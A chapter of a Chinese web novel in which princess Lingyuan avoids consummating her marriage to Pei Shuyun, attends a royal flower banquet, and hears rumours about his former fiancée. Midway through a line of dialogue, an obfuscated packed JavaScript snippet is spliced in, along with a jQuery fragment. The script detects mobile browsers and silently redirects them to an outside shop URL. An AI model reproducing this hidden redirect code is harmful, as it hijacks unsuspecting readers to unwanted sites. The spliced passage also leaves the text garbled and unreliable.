在灵远的忐忑中,夜晚降临了。
府中灯笼一盏盏亮起,灵远坐在榻沿,指尖绞着衣带,心事重重。
长乐一心痴念裴疏云,不可能拒绝裴疏云圆房的请求,她该找个什么理由拒绝才不显得古怪?身子不适?练剑乏了?还是干脆假装睡着?
正胡思乱想着,门轻轻开了。
裴疏云走了进来。他刚沐浴过,长发松松束在脑后,周身带着皂角的香气。
香气越走越近,在她身前停住。
“在想什么?”
灵远摇头,说不出话。
他在她身侧坐下,伸出手,覆在她的手背上。
灵远猛地一抖,裴疏云捧起她的脸,吻住了她。
他吻得很轻,薄唇温柔辗转,像是在无声确认。
不一会儿,他就退开了,垂眸看她。榻边点着一盏小灯,柔光下,她清凌凌的眸子不停闪躲。
裴疏云低问:“你可是害怕?”
灵远用力点头。
他沉默一瞬,斟酌着词句:“宫中教导礼仪的嬷嬷,没有与你说过......夫妻之事么?”
灵远眼皮颤了颤。
裴疏云略一思忖,起身走到矮柜旁,略作翻找,拿出了一本绸缎包裹的册子。
灵远趁此间隙想要逃离此地,刚走没几步,腰间一紧,又被他捞了回去。
裴疏云将她抱坐在腿上,声音认真:“此物名为避火图,女子出嫁时,常以此物教导房中之事,你既不知,我教你。”
说着,他翻开图册,指尖点在第一页,平声讲述:“此为肌肤之亲,男子与女子,身体构造不同,阳阴和合,当循循缓进......”
灵远满脸震惊,羞耻得浑身发烫。
真是太荒谬了!待幻境结束,这要她如何面对秦鹤月!
她立即闭上眼,恨不得就地消失。
裴疏云察觉她的抗拒,语声一停,疑惑涌上心头。
他已仔细讲解清楚,只要男子温柔以待,并不会有太大不适,她为何还如此抵触?
莫非......是害怕生育?
是了,女子生产,自古便是鬼门关前走一遭,她年纪小,身子又因落水亏损过,是他思虑不周。
他将避火图重新用绸缎包好,放在一旁,将缩成一团的灵远紧紧抱在怀里。
“你年岁尚小,身体也需仔细将养,此事不急在一时。”他安抚地拍拍她的背,“时辰不早了,你安心睡吧。”
说完,他吹熄了烛灯。
黑暗里,灵远听见他起身的窸窣声,门扉轻轻开启,又轻轻合上。
她独自躺在宽大的床榻上,感觉一切真是难以言喻。
过了好一会儿,裴疏云才回到寝殿,他已沐浴整理,又变回了一丝不苟的裴大人。
他在榻边坐下,摸了摸她的脸颊:“怎么还没睡?”
灵远对上她目光,他清亮的眼眸里没有不耐,只有温柔与专注。
她看着他,看了一会儿。
然后,翻了个身。
......
裴疏云不知怎的,如今一下朝就回府,还时常跟在灵远身后,简直是走到哪跟到哪。
灵远有些应付不来,又想往外跑了。
她看着案上堆了一摞的帖子,挑挑拣拣,选出一张:安阳长公主的赏花宴。
安阳长公主是当今圣上的嫡姐,地位超然,且与皇后关系亲近,于情于理,她都该去露个面。
裴疏云得知灵远要外出赴宴,面上掠过一丝不悦。
这表情消失的太快,灵远眨了眨眼,以为自己出现了错觉。
裴疏云将请柬还给灵远,平静道:“既是长公主相邀,自然该去,多带些伺候的人,早些回来。”
灵远狐疑地点点头,心中莫名有些打鼓。
转眼到了赴宴之日。
安阳长公主府邸前车水马龙,灵远的公主銮驾一到,周围车马纷纷避让。她今日身着蹙金绣牡丹的宫装,云鬓高绾,钗环熠熠,在侍女搀扶下步下马车,缓缓步入宴场。
侍从高声通传:“长乐公主到——”
在场女眷纷纷起身,朝着灵远敛衽行礼。
灵远目不斜视,一路地行至主位前,对着安阳长公主微微屈膝,“侄女给皇姑母请安。”
安阳长公主年近四旬,保养得宜,面容和善。她笑着地拉过灵远的手,见她举止沉静,不复往日的骄纵跳脱,心下不由感慨,轻拍了拍她的手背:
“我们长乐嫁了人,果然是长大了,瞧着更稳重了。”
灵远心头默了默。
安阳长公主自然知晓她失忆一事,见她如此,也不再深谈,吩咐侍女道:“好生伺候公主殿下。”
灵远在自己的席位上落座。几位关系亲近的女眷上前搭话,言语间多是恭维她容光焕发、衣饰华美,无人敢提及大婚相关的话题。
场中人谁不知晓,这位公主的驸马,是如何抢来的,众人言辞谨慎,生怕触了她的霉头。
灵远听着不着边际的奉承,随意应和了两句,便将目光投向满园芳菲。
宴会开始。安阳长公主简略致辞几句,便笑着让众人自便,尽情游园赏花。
宾客们三三两两散开。灵远在园中闲逛,穿花拂柳,心情松快。
路过一片清静的竹林,一位容貌秀丽的贵女小跑过来,朝她恭恭敬敬行了一礼。
“臣女给公主殿下请安。”
灵远脚步微顿,认出这是某个翰林家的女儿,似乎姓苏,她略一颔首:“苏小姐有事?”
苏小姐抬起头,飞快地觑了一眼灵远身后的侍女,压低声音:“殿下,臣女近日偶然听得一些消息,是关于......那位姜家小姐的。”
灵远眸光微动,“姜家小姐?”
“便是......便是那位,原先与驸马爷定过亲的,姜白竹姜小姐。”
她一边说,一边小心观察着灵远的神色:
“听闻她自殿下大婚后,便一直闭门不出,郁郁寡欢,前些日子更是放出话来,说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650958|205240||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
此生非裴大人不嫁,若不能如愿,便要削发为尼,青灯古佛了此残生。”
”如今外头......都有些风言风语了......她这般举动,岂不是存心要让人觉得殿下您......”
灵远静静地听着,待她说完,淡淡开口:“本宫知晓了,有劳苏小姐告知。”
苏小姐显然没料到公主会如此平静,准备好的的说辞噎在了喉头,只得讷讷行了一礼:“是臣女多嘴了,殿下恕罪。”
灵远不再多言,径直从她身侧走过,苏小姐站在原地,脸上红一阵白一阵。
天色渐晚,霞光染红天际。
众人重新入席,开始宴饮。席间丝竹悠扬,觥筹交错,几位闺秀即兴赋诗,歌咏繁花盛景,引得安阳长公主连连称赞。
宴席终了,灵远向安阳长公主拜别,长公主拉着她的手又嘱咐了几句,这才放她离开。
门前广场上,各府马车有序地等候,灵远的公主銮驾规制显眼,停在最前方。
几位年轻贵女聚在一处,正频频朝某个方向张望,彼此交换着眼神,低低议论着什么。
灵远随意抬眸,朝她们的视线望去。
只见华贵马车旁,立着一道颀长身影。裴疏云身着月白常服,玉冠高束,眉目清俊,高冷如天上明月,皎然出尘。
灵远只一出现,他的目光就落在她身上,眸光深处似有清风拂过,漾开动人的涟漪。
正偷眼望他的少女,在这无声的注视中,渐渐失了声息。
灵远走到他近前,裴疏云垂眸看她,低问:“累不累?”
灵远摇摇头。
他扶着灵远登上马车,车帘落下,杜绝窥探的视线,只留下几句零星议论。
“不是说,公主与驸马感情不睦么,瞧着不像啊。”
“是啊,方才裴大人的眼神......”
“许是在外人面前,总得做做样子?”
......
天色已经暗沉,长街灯火亮起,照进车厢。
裴疏云看了灵远半晌,沉吟道:“你有话要说?”
灵远想了想,坦诚道:“今日在宴上,听闻那位姜家小姐,似因心境郁结,有意......出家。”
裴疏云沉默片刻,低声道:“此事我已听闻。”
看他反应平静,灵远拿不准这是心死了,还是看开了,说:“此事是我对不住她,若有什么是我能帮忙的,我愿尽力。”
裴疏云看着她,问:“若她要你归还婚约,你也尽力吗?”
“这个不行。”
灵远不假思索,如今他们关系转变,她自然没有拱手相让的道理。
裴疏云眼底掠过笑意,柔和了他的清冷。
“别担心,我已修书给她兄长,请他多加劝导,望她能另觅良缘,莫要一时冲动走了极端。”
“信我前几日便已拟好,公主可要阅看?”
灵远摇摇头,心底涌出一丝小小的雀跃。
车轮辘辘做响,朝着府邸驶去。